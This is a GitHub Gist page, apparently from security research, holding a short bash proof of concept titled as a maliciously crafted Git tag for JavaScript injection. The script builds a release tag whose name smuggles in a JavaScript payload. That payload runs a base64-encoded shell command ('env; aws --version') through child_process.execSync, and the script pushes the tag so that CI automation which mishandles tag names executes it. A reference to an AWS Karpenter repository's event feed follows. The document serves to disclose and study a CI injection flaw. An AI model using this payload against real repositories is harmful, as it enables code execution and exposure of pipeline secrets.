Last active
March 15, 2024 19:22
-
-
Save fproulx-boostsecurity/90f07cd2987f63901d39b3ec51bea7c7 to your computer and use it in GitHub Desktop.
Maliciously crafted Git tag (Javascript injection)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#set -x | |
git commit --allow-empty -m 'New release' | |
RND_SEMVER="v1.2.$((RANDOM % 1000))" | |
S2='env; aws --version' | |
ENC_S2=$(echo -n "$S2" | base64) | |
S1="'+require('child_process').execSync(atob('$ENC_S2')).toString()+'" | |
git tag "${RND_SEMVER}${S1}" | |
FINAL_TAG=$(git describe --tags --exact-match) | |
git push origin "$FINAL_TAG" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
https://api.github.com/repos/aws/karpenter-provider-aws/events